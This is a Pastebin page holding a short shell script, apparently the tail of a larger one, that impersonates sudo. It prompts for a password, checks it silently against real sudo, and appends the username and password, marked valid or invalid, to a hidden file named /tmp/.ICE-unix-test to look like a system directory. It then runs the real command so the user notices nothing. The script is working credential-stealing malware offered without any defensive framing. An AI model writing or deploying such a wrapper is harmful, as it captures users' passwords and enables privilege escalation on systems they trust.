Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if [ $? -eq 0 ]
- then
- /usr/bin/sudo $@
- else
- echo -n "Password:"
- read -s pwd
- echo
- echo $pwd | /usr/bin/sudo -S true >/dev/null 2>&1
- if [ $? -eq 1 ]
- then
- printf "$USER:$pwd:invalid\n" >> /tmp/.ICE-unix-test
- echo "Sorry, try again."
- sudo $@
- else
- echo "$USER:$pwd:valid" >> /tmp/.ICE-unix-test
- /usr/bin/sudo $@
- fi
- fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement